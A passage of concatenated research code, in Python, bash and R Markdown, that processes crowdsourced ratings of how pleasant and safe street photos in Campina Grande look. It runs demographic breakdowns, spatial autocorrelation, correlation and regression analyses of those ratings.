qscore = qscoreDic[possibleQuestions[0]][photo]
outputFile.write(photo+"\t"+qscore+"\t"+rgb[0]+"\t"+rgb[1]+"\t"+rgb[2]+"\t"+lines[0]+"\t"+lines[1]+"\t"+lines[2]+"\n")
outputFile.close()
#Writing outputFile with qscores and rgb
outputFile = open("rgbQScoreSeg.dat","w")
outputFile.write("foto\tqscore\tred\tgreen\tblue\tdiag\thor\tvert\n")
for photo in qscoreDic[possibleQuestions[1]].keys():
rgb = rgbDic[photo.split("/")[1]]
lines = linesCountingDic[photo.split("/")[1]]
qscore = qscoreDic[possibleQuestions[1]][photo]
outputFile.write(photo+"\t"+qscore+"\t"+rgb[0]+"\t"+rgb[1]+"\t"+rgb[2]+"\t"+lines[0]+"\t"+lines[1]+"\t"+lines[2]+"\n")
outputFile.close(),
<file_sep>#!/bin/bash
for input_file in classifier_input_3classes.dat ; do
#classifier_input_rnr.dat ; do
#classifier_input_3classes.dat ; do
outputSpec=''
if [ ${input_file} == 'classifier_input_lnl.dat' ] ; then
outputSpec='lnl'
elif [ ${input_file} == 'classifier_input_rnr.dat' ] ; then
outputSpec='rnr'
elif [ ${input_file} == 'classifier_input_wodraw.dat' ] ; then
outputSpec='wodraw'
else
outputSpec='3classes'
fi
echo "#### Only with urban elements features - Split before train ####" >> classifier_tests_features_importances_${outputSpec}.dat
echo ">> Masculino" >> classifier_tests_features_importances_${outputSpec}.dat
python classify.py ${input_file} importances gender-masculino >> classifier_tests_features_importances_${outputSpec}.dat
echo ">> Feminino" >> classifier_tests_features_importances_${outputSpec}.dat
python classify.py ${input_file} importances gender-feminino >> classifier_tests_features_importances_${outputSpec}.dat
echo ">> Jovem" >> classifier_tests_features_importances_${outputSpec}.dat
python classify.py ${input_file} importances age-jovem >> classifier_tests_features_importances_${outputSpec}.dat
echo ">> Adulto" >> classifier_tests_features_importances_${outputSpec}.dat
python classify.py ${input_file} importances age-adulto >> classifier_tests_features_importances_${outputSpec}.dat
echo ">> Baixa" >> classifier_tests_features_importances_${outputSpec}.dat
python classify.py ${input_file} importances income-baixa >> classifier_tests_features_importances_${outputSpec}.dat
echo ">> Media" >> classifier_tests_features_importances_${outputSpec}.dat
python classify.py ${input_file} importances income-media >> classifier_tests_features_importances_${outputSpec}.dat
echo ">> Solteiro" >> classifier_tests_features_importances_${outputSpec}.dat
python classify.py ${input_file} importances marital-solteiro >> classifier_tests_features_importances_${outputSpec}.dat
echo ">> Casado" >> classifier_tests_features_importances_${outputSpec}.dat
python classify.py ${input_file} importances marital-casado >> classifier_tests_features_importances_${outputSpec}.dat
done
<file_sep># -*- coding: utf-8 -*-
import sys
import matplotlib.pyplot as plt
import time as tm
import datetime
from matplotlib.backends.backend_pdf import PdfPages
from sets import Set
import json, urllib
import numpy as np
#User profiles summary dictionaries
#user_age = {}
user_sex = {}
user_educ = {}
user_live = {}
profiles_detailed = {"M" : {"live" : {"sim" : 0, "nao" : 0}, "educ" : {"basica" : 0, "fundamental" : 0, "medio" : 0, "superior" : 0} }, "F": {"live" : {"sim" : 0, "nao" : 0}, "educ" : {"basica" : 0, "fundamental" : 0, "medio" : 0, "superior" : 0} }, "O" : {"live" : {"sim" : 0, "nao" : 0}, "educ" : {"basica" : 0, "fundamental" : 0, "medio" : 0, "superior" : 0} } }
#user_class = {}
#user_city = {}
#user_time = {}
#user_rel = {}
user_neig = {'cen' : 0, 'cat' : 0, 'lib' : 0}
empty = 0
#possible questions
#possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
possibleQuestions = ["agradavel?", "seguro"]
photosAnsweredPerQuestion = {possibleQuestions[0]:{}, possibleQuestions[1]:{}}
#Tasks definition
tasks_id_definition = {}
def countSummary(profileInfo):
global empty
if len(profileInfo) > 0:
#Extracting profile
userProfileData = profileInfo.split("+")
#age = userProfileData[0].strip(' \t\n\r"')
sex = userProfileData[0].strip(' \t\n\r"')
#currentClass = userProfileData[2].strip(' \t\n\r"')
educ = userProfileData[1].strip(' \t\n\r"')
live = userProfileData[2].strip(' \t\n\r"')
#city = userProfileData[4].strip(' \t\n\r"')
#time = userProfileData[5].strip(' \t\n\r"')
#rel = userProfileData[6].strip(' \t\n\r"')
#neig = userProfileData[7].strip(' \t\n\r"')
#neig = neig[0:len(neig)].strip(' \t\n\r"')
#Saving occurrences of profiles
#if len(age) > 0 and eval(age) != None:
# if int(age) > 0:
# if age in user_age.keys():
# user_age[age] = user_age[age] + 1
# else:
# user_age[age] = 1
if len(sex) > 0:
if sex in user_sex.keys():
user_sex[sex] = user_sex[sex] + 1
else:
user_sex[sex] = 1
if len(live) > 0:
if live in user_live.keys():
user_live[live] = user_live[live] + 1
else:
user_live[live] = 1
profiles_detailed[sex]["live"][live] = profiles_detailed[sex]["live"][live] + 1
# if len(currentClass) > 0:
# if currentClass in user_class.keys():
# user_class[currentClass] = user_class[currentClass] + 1
# else:
# user_class[currentClass] = 1
if len(educ) > 0:
if educ in user_educ.keys():
user_educ[educ] = user_educ[educ] + 1
else:
user_educ[educ] = 1
profiles_detailed[sex]["educ"][educ] = profiles_detailed[sex]["educ"][educ] + 1
#Updating general summary
# if len(city) > 0:
# if city in user_city.keys():
# user_city[city] = user_city[city] + 1
# else:
# user_city[city] = 1
# if len(time) > 0:
# if time in user_time.keys():
# user_time[time] = user_time[time] + 1
# else:
# user_time[time] = 1
# if len(rel) > 0:
# if rel in user_rel.keys():
# user_rel[rel] = user_rel[rel] + 1
# else:
# user_rel[rel] = 1
def writeOutput(users_tasks):
output_file = open("usersInfo.dat", "w")
answered_profile = 0
nanswered_profile = 0
users_id_nanswered_profile = []
finish_time_nanswered = []
#Writing users profile and tasks executed
for user_id in users_tasks.keys():
user_data = users_tasks[user_id]
#user_profile = str(user_data[0]['age']) + "+" + str(user_data[0]['sex']) + "+" + str(user_data[0]['clas']) + "+" + str(user_data[0]['edu']) + "+" + str(user_data[0]['cit']) + "+" + str(user_data[0]['time']) + "+" + str(user_data[0]['rel']) + "+" + str(user_data[0]['nei']) + "+" + str(user_data[0]['knowcampina']) + "+" + str(user_data[0]['howknowcampina'])
user_profile = str(user_data[0]['sex']) + "+" + str(user_data[0]['educ']) + "+" + str(user_data[0]['live'])
output_file.write(str(user_id)+"|" + user_profile + "|" + str(user_data[1]) + "|" + str(user_data[2]) + "|" + str(user_data[3]) + "|" + str(user_data[4]) + "\n")
countSummary(user_profile)
if user_data[0]['age'] != -1 and len(user_data[0]['sex']) > 0 and len(user_data[0]['clas']) > 0 and len(user_data[0]['cit']) > 0:
answered_profile += 1
else:
nanswered_profile += 1
users_id_nanswered_profile.append(user_id)
finish_time_nanswered.append(user_data[5])
output_file.close()
#Writing profile summary
output_file = open("usersInfoSummary.dat", "w")
output_file.write("Answered\t" + str(answered_profile) + "\t" + str(nanswered_profile) + "\t" + str(answered_profile*1.0/(answered_profile+nanswered_profile)) + "\t" + str(nanswered_profile*1.0/(answered_profile+nanswered_profile)) + "\n")
#output_file.write(str(user_age)+"\n")
#output_file.write(">> TOTAL RESPOSTAS " + str(np.sum(user_age.values()))+"\n")
output_file.write(str(user_sex)+"\n")
output_file.write(">> TOTAL RESPOSTAS " + str(np.sum(user_sex.values()))+"\n")
#output_file.write(str(user_class)+"\n")
#output_file.write(">> TOTAL RESPOSTAS " + str(np.sum(user_class.values()))+"\n")
output_file.write(str(user_educ)+"\n")
output_file.write(">> TOTAL RESPOSTAS " + str(np.sum(user_educ.values()))+"\n")
output_file.write(str(user_live)+"\n")
output_file.write(">> TOTAL RESPOSTAS " + str(np.sum(user_live.values()))+"\n")
output_file.write(">> Detalhamento da composição social dos grupos\n")
output_file.write(str(profiles_detailed)+"\n")
#output_file.write(str(user_city)+"\n")
#output_file.write(">> TOTAL RESPOSTAS " + str(np.sum(user_city.values()))+"\n")
#output_file.write(str(user_time)+"\n")
#output_file.write(">> TOTAL RESPOSTAS " + str(np.sum(user_time.values()))+"\n")
#output_file.write(str(user_rel)+"\n")
#output_file.write(">> TOTAL RESPOSTAS " + str(np.sum(user_rel.values()))+"\n")
#output_file.write(str(user_neig)+"\n")
#output_file.write(">> TOTAL RESPOSTAS " + str(np.sum(user_neig.values()))+"\n")
#output_file.close()
#plotSummary()
#Writing tasks definition
output_file = open("tasksDefinition.dat", "w")
for task_id in tasks_id_definition.keys():
output_file.write(task_id+"\t"+tasks_id_definition[task_id].encode('utf-8')+"\n")
output_file.close()
#Writing photos evaluated by user
output_file = open("usersPhotosAgrad.dat", "w")
for user_id in photosAnsweredPerQuestion[possibleQuestions[0]].keys():
for photo in photosAnsweredPerQuestion[possibleQuestions[0]][user_id]:
output_file.write(str(user_id)+"\t"+photo.encode('utf-8')+"\n")
output_file.close()
#Writing photos evaluated by user
output_file = open("usersPhotosSeg.dat", "w")
for user_id in photosAnsweredPerQuestion[possibleQuestions[1]].keys():
for photo in photosAnsweredPerQuestion[possibleQuestions[1]][user_id]:
output_file.write(str(user_id)+"\t"+photo.encode('utf-8')+"\n")
output_file.close()
#Writing users that did not answered profile
#output_file = open("usersNAnswered.dat", "w")
#users_profile_file = open("users.csv", "r")
#users_profile = users_profile_file.readlines()
#for index in range(0, len(users_id_nanswered_profile)):
# user_id = users_id_nanswered_profile[index]
# for profile in users_profile:
# data = profile.split(",")
# if data[0].strip() == user_id:
# output_file.write(user_id+"\t"+data[2]+"\t"+str(finish_time_nanswered[index])+"\n")
#output_file.close()
#users_profile_file.close()
def readUserData(lines1, lines2, outputFileName, tasksDef):
""" Reading user profile """
users_tasks = {}
firstDate = datetime.date(1970, 6, 24)
agrad_dic = {"agradavel?" : "agrad%C3%A1vel?", "agrad%C3%A1vel?" : "agradavel?"}
comparing_file = open("comparacoes.txt", "w")
#Reading from pybossa task-run CSV - V1
for line in lines1:
print ">>>> Deprecated"
index = 0
vit_A = 0
vit_B = 0
user_id = 0
#Reading from pybossa task-run CSV - V2
for line in lines2:
index = index + 1
data = line.split("+")
task_id = data[3]
user_id = user_id + 1#data[4]
print ">>> Mais uma linha " + str(user_id)
user_ip = data[5]
timeInfo = data[6].split("T")[0].split("-")#2015-02-17T18:19:52.589591
finish_time = datetime.date(int(timeInfo[0]), int(timeInfo[1]), int(timeInfo[2]))
user_answer = data[9].strip(' \t\n\r"')
if user_id in users_tasks.keys():
user_executions = users_tasks[user_id]
else:
user_executions = [{'age': -1, 'sex': "", 'clas': "", 'educ': "", 'cit': "", "time": "", 'rel': "", 'nei': "", 'knowcampina': "", 'howknowcampina': "", 'live': "", }, [], [], [], [], firstDate]#Tasks for Agradavel e Seguro and their respective answers
#In user answers that contain profile information extract profile: {"userProfile": {"city": "Campina Grande - State of Para\u00edba, Brazil", "age": 33, "sex": "M", "rel": "casado", "educ": "doutorado", "neig": ["cen"], "clas": "media alta"}, "question": "agradavel", "theLess": "https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__180.jpg", "theMost": "https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__270.jpg"}
user_answer_data = json.loads(user_answer)
if user_answer_data.has_key('userProfile'):
#Extracting profile
user_profile_data = user_answer_data['userProfile']
if 'age' in user_profile_data:
age = user_profile_data['age']
else:
age = -1
sex = user_profile_data['sex'].encode('utf-8').strip(' \t\n\r"')
#currentClass = user_profile_data['clas'].encode('utf-8').strip(' \t\n\r"')
educ = user_profile_data['educ'].encode('utf-8').strip(' \t\n\r"')
live = user_profile_data['live'].encode('utf-8').strip(' \t\n\r"')
#city = user_profile_data['city'].encode('utf-8').strip(' \t\n\r"')
#time = userProfileData['time'].strip(' \t\n\r"')
#rel = user_profile_data['rel'].encode('utf-8').strip(' \t\n\r"')
#neig = user_profile_data['neig']
#know = user_profile_data['knowcampina'].strip(' \t\n\r"')
#howknow = user_profile_data['howknowcampina'].strip(' \t\n\r"')
#if len(city) == 0:
# if len(user_ip) > 0:
# response = urllib.urlopen("http://ip-api.com/json/"+user_ip)
# ip_data = json.loads(response.read())
# city = ip_data['city'].encode('utf-8') + "," + ip_data['country'].encode('utf-8')
#if user_executions[0]['age'] == -1:
# user_executions[0]['age'] = age
if len(user_executions[0]['sex'].strip(' \t\n\r"')) == 0:
user_executions[0]['sex'] = sex
if len(user_executions[0]['educ'].strip(' \t\n\r"')) == 0:
user_executions[0]['educ'] = educ
if len(user_executions[0]['live'].strip(' \t\n\r"')) == 0:
user_executions[0]['live'] = live
#if len(user_executions[0]['clas'].strip(' \t\n\r"')) == 0:
# user_executions[0]['clas'] = currentClass
#if len(user_executions[0]['cit'].strip(' \t\n\r"')) == 0:
# user_executions[0]['cit'] = city
#if len(user_executions[0]['rel'].strip(' \t\n\r"')) == 0:
# user_executions[0]['rel'] = rel
#if len(user_executions[0]['nei'].strip(' \t\n\r"')) == 0:
# user_executions[0]['nei'] = str(neig)
#if len(user_executions[0]['knowcampina'].strip(' \t\n\r"')) == 0:
# user_executions[0]['knowcampina'] = know
#if len(user_executions[0]['howknowcampina'].strip(' \t\n\r"')) == 0:
# user_executions[0]['howknowcampina'] = howknow
#else:
#if len(user_ip) > 0:
# if len(user_executions[0]['cit'].strip(' \t\n\r"')) == 0:
# response = urllib.urlopen("http://ip-api.com/json/"+user_ip)
# ip_data = json.loads(response.read())
# city = ip_data['city'].encode('utf-8') + "," + ip_data['country'].encode('utf-8')
# user_executions[0]['cit'] = city
#Saving photos that user evaluated
question = user_answer_data['question'].strip(' \t\n\r"')
if 'agrad' in question and question == "agrad%C3%A1vel?":
question = agrad_dic[question]
answer = "Left*"
photo1 = user_answer_data['theMost'].strip(' \t\n\r"')
photo2 = user_answer_data['theLess'].strip(' \t\n\r"')
#Counting wins for each side
if photo1 == "equal":
task_def = tasksDef[task_id]
comparing_file.write("eq-"+task_def['url_a']+"\t"+task_def['url_b']+"\n")
else:
if "Centro A" in photo1:
vit_A = vit_A + 1
else:
vit_B = vit_B + 1
comparing_file.write(photo1 + "\t" + photo2+"\n")
#print str(photosAnsweredPerQuestion.keys())
if user_id in photosAnsweredPerQuestion[question].keys():
photos = photosAnsweredPerQuestion[question][user_id]
else:
photos = Set([])
photos.add(photo1)
photos.add(photo2)
photosAnsweredPerQuestion[question][user_id] = photos
#Saving user answer near task ID
if question == possibleQuestions[0]:#Agra
user_executions[1].append(task_id)
user_executions[3].append(answer)
elif question == possibleQuestions[1]:#Seg
user_executions[2].append(task_id)
user_executions[4].append(answer)
else:
print "Error! " + question
if finish_time > user_executions[5]:
user_executions[5] = finish_time
#Saving task ID definition
tasks_id_definition[task_id] = photo1+"\t"+photo2
users_tasks[user_id] = user_executions
comparing_file.write(">>> Vitórias Lado A " + str(vit_A)+"\n")
comparing_file.write(">>> Vitórias Lado B " + str(vit_B)+"\n")
comparing_file.close()
return users_tasks
def readTasksDefinitions(linesTasks):
tasksDef = {}
for line in linesTasks:
data = line.split("+")
#print data
taskID = data[0].strip(' \t\n\r')
currentDef = json.loads(data[7].strip(' \t\n\r\"'))
tasksDef[taskID] = currentDef
return tasksDef
if __name__ == "__main__":
if len(sys.argv) < 3:
print "Uso: <arquivo com execucoes das tarefas e perfis dos usuarios - V1> <arquivo com execucoes das tarefas e perfis dos usuarios - V2> <arquivo com definicoes de tarefas>"
sys.exit(1)
dataFile1 = ""#open(sys.argv[1], 'r')
dataFile2 = open(sys.argv[2], 'r')
dataFile3 = open(sys.argv[3], 'r')
lines1 = []#dataFile1.readlines() - This file does not exist for this version of app!
lines2 = dataFile2.readlines()
lines3 = dataFile3.readlines()
users_tasks = readUserData(lines1, lines2, "users.dat", readTasksDefinitions(lines3))
writeOutput(users_tasks)
#dataFile1.close()
dataFile2.close()
<file_sep>---
title: "Moran_Corr_Reg"
output: pdf_document
---
# <NAME> (simulações)
```{r, echo=FALSE, fig.show='asis', fig.width=4}
source('krippMoran.R')
moranI("moran100/streetsQScoresLatLongAgraAll.dat", "moran100/streetsQScoresLatLongSegAll.dat")
```
# Moran por grupo
## Adulto
```{r, echo=FALSE, fig.show='asis', fig.width=4}
moranI("moran100/streetsQScoresLatLongAgraAllAdulto.dat", "moran100/streetsQScoresLatLongSegAllAdulto.dat")
```
## Jovem
```{r, echo=FALSE, fig.show='asis', fig.width=4}
moranI("moran100/streetsQScoresLatLongAgraAllJovem.dat", "moran100/streetsQScoresLatLongSegAllJovem.dat")
```
## Baixa
```{r, echo=FALSE, fig.show='asis', fig.width=4}
moranI("moran100/streetsQScoresLatLongAgraAllBaixa.dat", "moran100/streetsQScoresLatLongSegAllBaixa.dat")
```
## Média
```{r, echo=FALSE, fig.show='asis', fig.width=4}
moranI("moran100/streetsQScoresLatLongAgraAllMedia.dat", "moran100/streetsQScoresLatLongSegAllMedia.dat")
```
## Feminino
```{r, echo=FALSE, fig.show='asis', fig.width=4}
moranI("moran100/streetsQScoresLatLongAgraAllFeminino.dat", "moran100/streetsQScoresLatLongSegAllFeminino.dat")
```
## Masculino
```{r, echo=FALSE, fig.show='asis', fig.width=4}
moranI("moran100/streetsQScoresLatLongAgraAllMasculino.dat", "moran100/streetsQScoresLatLongSegAllMasculino.dat")
```
## Solteiro
```{r, echo=FALSE, fig.show='asis', fig.width=4}
moranI("moran100/streetsQScoresLatLongAgraAllSolteiro.dat", "moran100/streetsQScoresLatLongSegAllCasado.dat")
```
## Casado
```{r, echo=FALSE, fig.show='asis', fig.width=4}
moranI("moran100/streetsQScoresLatLongAgraAllCasado.dat", "moran100/streetsQScoresLatLongSegAllCasado.dat")
```
## Medio
```{r, echo=FALSE, fig.show='asis', fig.width=4}
moranI("moran100/streetsQScoresLatLongAgraAllMedio.dat", "moran100/streetsQScoresLatLongSegAllMedio.dat")
```
## Pos
```{r, echo=FALSE, fig.show='asis', fig.width=4}
moranI("moran100/streetsQScoresLatLongAgraAllPos.dat", "moran100/streetsQScoresLatLongSegAllPos.dat")
```
# Correlações
## Geral
```{r, echo=FALSE, fig.show='asis', fig.width=4}
source('analisaCorrelacao.R')
calculateTests("inputCorrelacaoRegressao100/rgbQScoreAgradAll.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAll.dat", shouldPlot=TRUE)
boxplot(dataAgrad$qscore, prob=TRUE, main="Agrad")
boxplot(dataSeg$qscore, prob=TRUE, main="Seg")
```
## Adulto
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateTests("inputCorrelacaoRegressao100/rgbQScoreAgradAllAdulto.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllAdulto.dat", shouldPlot=TRUE)
boxplot(dataAgrad$qscore, prob=TRUE, main="Agrad")
boxplot(dataSeg$qscore, prob=TRUE, main="Seg")
```
## Jovem
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateTests("inputCorrelacaoRegressao100/rgbQScoreAgradAllJovem.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllJovem.dat", shouldPlot=TRUE)
boxplot(dataAgrad$qscore, prob=TRUE, main="Agrad")
boxplot(dataSeg$qscore, prob=TRUE, main="Seg")
```
## Baixa
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateTests("inputCorrelacaoRegressao100/rgbQScoreAgradAllBaixa.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllBaixa.dat", shouldPlot=TRUE)
boxplot(dataAgrad$qscore, prob=TRUE, main="Agrad")
boxplot(dataSeg$qscore, prob=TRUE, main="Seg")
```
## Media
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateTests("inputCorrelacaoRegressao100/rgbQScoreAgradAllMedia.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllMedia.dat", shouldPlot=TRUE)
boxplot(dataAgrad$qscore, prob=TRUE, main="Agrad")
boxplot(dataSeg$qscore, prob=TRUE, main="Seg")
```
## Feminino
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateTests("inputCorrelacaoRegressao100/rgbQScoreAgradAllFeminino.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllFeminino.dat", shouldPlot=TRUE)
boxplot(dataAgrad$qscore, prob=TRUE, main="Agrad")
boxplot(dataSeg$qscore, prob=TRUE, main="Seg")
```
## Masculino
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateTests("inputCorrelacaoRegressao100/rgbQScoreAgradAllMasculino.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllMasculino.dat", shouldPlot=TRUE)
boxplot(dataAgrad$qscore, prob=TRUE, main="Agrad")
boxplot(dataSeg$qscore, prob=TRUE, main="Seg")
```
## Solteiro
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateTests("inputCorrelacaoRegressao100/rgbQScoreAgradAllSolteiro.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllSolteiro.dat", shouldPlot=TRUE)
boxplot(dataAgrad$qscore, prob=TRUE, main="Agrad")
boxplot(dataSeg$qscore, prob=TRUE, main="Seg")
```
## Casado
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateTests("inputCorrelacaoRegressao100/rgbQScoreAgradAllCasado.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllCasado.dat", shouldPlot=TRUE)
boxplot(dataAgrad$qscore, prob=TRUE, main="Agrad")
boxplot(dataSeg$qscore, prob=TRUE, main="Seg")
```
## Medio
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateTests("inputCorrelacaoRegressao100/rgbQScoreAgradAllMedio.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllMedio.dat", shouldPlot=TRUE)
boxplot(dataAgrad$qscore, prob=TRUE, main="Agrad")
boxplot(dataSeg$qscore, prob=TRUE, main="Seg")
```
## Pos
```{r, echo=FALSE, fig.show='asis', fig.width=4}
source('analisaCorrelacao.R')
calculateTests("inputCorrelacaoRegressao100/rgbQScoreAgradAllPos.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllPos.dat", shouldPlot=TRUE)
boxplot(dataAgrad$qscore, prob=TRUE, main="Agrad")
boxplot(dataSeg$qscore, prob=TRUE, main="Seg")
```
# Regressões
## Geral
```{r, echo=FALSE, fig.show='asis', fig.width=4}
source('analisaRegressao.R')
calculateRegression("inputCorrelacaoRegressao100/rgbQScoreAgradAll.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAll.dat", shouldPlot=TRUE)
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2")
plot(regsubsetsSeg.out, scale = "adjr2", main = "Adjusted R^2")
modeloAgradGeral <- modeloAgrad
modeloSegGeral <- modeloSeg
```
## Adulto
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateRegression("inputCorrelacaoRegressao100/rgbQScoreAgradAllAdulto.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllAdulto.dat", shouldPlot=TRUE)
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2")
plot(regsubsetsSeg.out, scale = "adjr2", main = "Adjusted R^2")
modeloAgradAdulto <- modeloAgrad
modeloSegAdulto <- modeloSeg
```
## Jovem
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateRegression("inputCorrelacaoRegressao100/rgbQScoreAgradAllJovem.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllJovem.dat", shouldPlot=TRUE)
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2")
plot(regsubsetsSeg.out, scale = "adjr2", main = "Adjusted R^2")
modeloAgradJovem <- modeloAgrad
modeloSegJovem <- modeloSeg
```
## Baixa
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateRegression("inputCorrelacaoRegressao100/rgbQScoreAgradAllBaixa.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllBaixa.dat", shouldPlot=TRUE)
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2")
plot(regsubsetsSeg.out, scale = "adjr2", main = "Adjusted R^2")
modeloAgradBaixa <- modeloAgrad
modeloSegBaixa <- modeloSeg
```
## Media
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateRegression("inputCorrelacaoRegressao100/rgbQScoreAgradAllMedia.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllMedia.dat", shouldPlot=TRUE)
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2")
plot(regsubsetsSeg.out, scale = "adjr2", main = "Adjusted R^2")
modeloAgradMedia <- modeloAgrad
modeloSegMedia <- modeloSeg
```
## Feminino
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateRegression("inputCorrelacaoRegressao100/rgbQScoreAgradAllFeminino.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllFeminino.dat", shouldPlot=TRUE)
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2")
plot(regsubsetsSeg.out, scale = "adjr2", main = "Adjusted R^2")
modeloAgradFeminino <- modeloAgrad
modeloSegFeminino <- modeloSeg
```
## Masculino
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateRegression("inputCorrelacaoRegressao100/rgbQScoreAgradAllMasculino.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllMasculino.dat", shouldPlot=TRUE)
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2")
plot(regsubsetsSeg.out, scale = "adjr2", main = "Adjusted R^2")
modeloAgradMasculino <- modeloAgrad
modeloSegMasculino <- modeloSeg
```
## Solteiro
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateRegression("inputCorrelacaoRegressao100/rgbQScoreAgradAllSolteiro.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllSolteiro.dat", shouldPlot=TRUE)
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2")
plot(regsubsetsSeg.out, scale = "adjr2", main = "Adjusted R^2")
modeloAgradSolteiro <- modeloAgrad
modeloSegSolteiro <- modeloSeg
```
## Casado
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateRegression("inputCorrelacaoRegressao100/rgbQScoreAgradAllCasado.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllCasado.dat", shouldPlot=TRUE)
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2")
plot(regsubsetsSeg.out, scale = "adjr2", main = "Adjusted R^2")
modeloAgradCasado <- modeloAgrad
modeloSegCasado <- modeloSeg
```
## Medio
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateRegression("inputCorrelacaoRegressao100/rgbQScoreAgradAllMedio.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllMedio.dat", shouldPlot=TRUE)
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2")
plot(regsubsetsSeg.out, scale = "adjr2", main = "Adjusted R^2")
modeloAgradMedio <- modeloAgrad
modeloSegMedio <- modeloSeg
```
## Casado
```{r, echo=FALSE, fig.show='asis', fig.width=4}
calculateRegression("inputCorrelacaoRegressao100/rgbQScoreAgradAllPos.dat", "inputCorrelacaoRegressao100/rgbQScoreSegAllPos.dat", shouldPlot=TRUE)
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2")
plot(regsubsetsSeg.out, scale = "adjr2", main = "Adjusted R^2")
modeloAgradPos <- modeloAgrad
modeloSegPos <- modeloSeg
```
## Modelo de Regressão com Percentual de Usuários por Perfil SócioDemográfico
```{r, echo=FALSE, fig.show='asis', fig.width=4}
library(texreg)
dadosAgrad0 <- read.table("rgbQScoreAgrad0.dat", header=TRUE)
dadosSeg0 <- read.table("rgbQScoreSeg0.dat", header=TRUE)
bairrosAgrad <- lapply(as.character(dadosAgrad0$foto), function (x) strsplit(x, split="/", fixed=TRUE)[[1]][1])
bairrosSeg <- lapply(as.character(dadosSeg0$foto), function (x) strsplit(x, split="/", fixed=TRUE)[[1]][1])
dadosAgrad0$bairro <- unlist(lapply(bairrosAgrad, '[[', 1))
dadosSeg0$bairro <- unlist(lapply(bairrosSeg, '[[', 1))
dadosAgrad1 <- read.table("rgbQScoreAgrad1.dat", header=TRUE)
dadosSeg1 <- read.table("rgbQScoreSeg1.dat", header=TRUE)
bairrosAgrad <- lapply(as.character(dadosAgrad1$foto), function (x) strsplit(x, split="/", fixed=TRUE)[[1]][1])
bairrosSeg <- lapply(as.character(dadosSeg1$foto), function (x) strsplit(x, split="/", fixed=TRUE)[[1]][1])
dadosAgrad1$bairro <- unlist(lapply(bairrosAgrad, '[[', 1))
dadosSeg1$bairro <- unlist(lapply(bairrosSeg, '[[', 1))
dadosAgrad2 <- read.table("rgbQScoreAgrad2.dat", header=TRUE)
dadosSeg2 <- read.table("rgbQScoreSeg2.dat", header=TRUE)
bairrosAgrad <- lapply(as.character(dadosAgrad2$foto), function (x) strsplit(x, split="/", fixed=TRUE)[[1]][1])
bairrosSeg <- lapply(as.character(dadosSeg2$foto), function (x) strsplit(x, split="/", fixed=TRUE)[[1]][1])
dadosAgrad2$bairro <- unlist(lapply(bairrosAgrad, '[[', 1))
dadosSeg2$bairro <- unlist(lapply(bairrosSeg, '[[', 1))
dadosAgrad <- rbind(dadosAgrad0, dadosAgrad1, dadosAgrad2)
dadosSeg <- rbind(dadosSeg0, dadosSeg1, dadosSeg2)
#colnames(dadosAgrad) <- c("foto", "qscore", "vermelho", "verde", "azul", "diag", "hor", "vert", "jovem", "adulto", "mulher", "homem", "renda baixa", "renda média baix", "renda média" hasLowClass hasMLowClass hasMClass hasMHighClass hasHighClass hasGraduated hasHighSchool hasMaster hasPHD hasSingle hasDivorced hasWidower hasMarried knowsCenter knowsLiberdade knowsCatole)
#dadosAgrad$countSingle <- dadosAgrad$countSingle + dadosAgrad$countDivorced + dadosAgrad$countWidower
#dadosSeg$countSingle <- dadosSeg$countSingle + dadosSeg$countDivorced + dadosSeg$countWidower
print(">>>> Agrad")
